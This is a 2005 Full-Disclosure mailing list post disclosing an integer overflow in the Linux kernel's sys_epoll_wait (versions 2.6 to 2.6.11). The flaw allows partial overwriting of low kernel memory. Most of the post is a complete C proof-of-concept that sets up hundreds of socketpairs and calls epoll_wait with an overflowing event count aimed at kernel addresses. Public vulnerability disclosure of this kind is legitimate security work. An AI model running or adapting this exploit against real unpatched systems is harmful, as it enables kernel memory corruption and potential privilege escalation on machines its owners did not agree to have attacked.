[Full-disclosure] overwriting low kernel memory
From: Georgi Guninski (guninski_at_guninski.com)
Date: 03/09/05
- Previous message: John Cartwright: "Re: [Full-disclosure] Administrivia: A new home for FD"
- Next in thread: g g0: "Re: [Full-disclosure] overwriting low kernel memory"
- Reply: g g0: "Re: [Full-disclosure] overwriting low kernel memory"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Date: Wed, 9 Mar 2005 12:42:19 +0200 To: full-disclosure@lists.grok.org.uk
it is possible to partially overwrite low kernel ( >= 2.6 <= 2.6.11) memory
due to integer overflow in sys_epoll_wait and misuse of __put_user
in ep_send_events
tested on i386.
despite the overflow, the os seemingly continues normal operation.
-------------------------------------------------
/*
* copyright georgi guninski.
* cannot be used in vulnerabilities databases like securityfocus and mitre
* */
#include <stdio.h>
#include <sys/epoll.h>
#include <sys/socket.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdlib.h>
#define __KERNEL__
#include <asm/processor.h>
#undef __KERNEL__
#define MAXV 500
int main(int argc,char ** argv)
{
int epfd;
int i;
int res;
struct epoll_event ev;
int *fds;
int over;
void *km;
over= ((unsigned int)-1)/sizeof(struct epoll_event)+1;
km=(void *)(TASK_SIZE - over*sizeof(struct epoll_event) - 4);
printf("sizeof=%d %x %lx\n",sizeof(struct epoll_event),over,(unsigned long)km);
epfd = epoll_create(MAXV);
printf("Epoll descriptor %i\n",epfd);
fds=calloc(2*MAXV,sizeof(int));
for(i=0;i<MAXV;i++)
{
if (socketpair(AF_UNIX, SOCK_STREAM, 0, &fds[2*i])) perror("pair");
ev.data.u32 = 0x42424242;
ev.events = EPOLLOUT|EPOLLIN | 0x42424242;
res = epoll_ctl(epfd,EPOLL_CTL_ADD,fds[2*i],&ev);
}
for(i=0;i<MAXV;i++) write(fds[2*i+1],&i,sizeof(i));
system("sync");
for(i = 0; i < 1; i++)
{
res = epoll_wait(epfd,km,over,-1);
printf("epoll_wait returned %i\n",res);
printf("check what is after TASK_SIZE\n");
}
close(epfd);
return 42;
}
-----------------------------------------
-- where do you want bill gates to go today? _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://www.secunia.com/
- Previous message: John Cartwright: "Re: [Full-disclosure] Administrivia: A new home for FD"
- Next in thread: g g0: "Re: [Full-disclosure] overwriting low kernel memory"
- Reply: g g0: "Re: [Full-disclosure] overwriting low kernel memory"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
|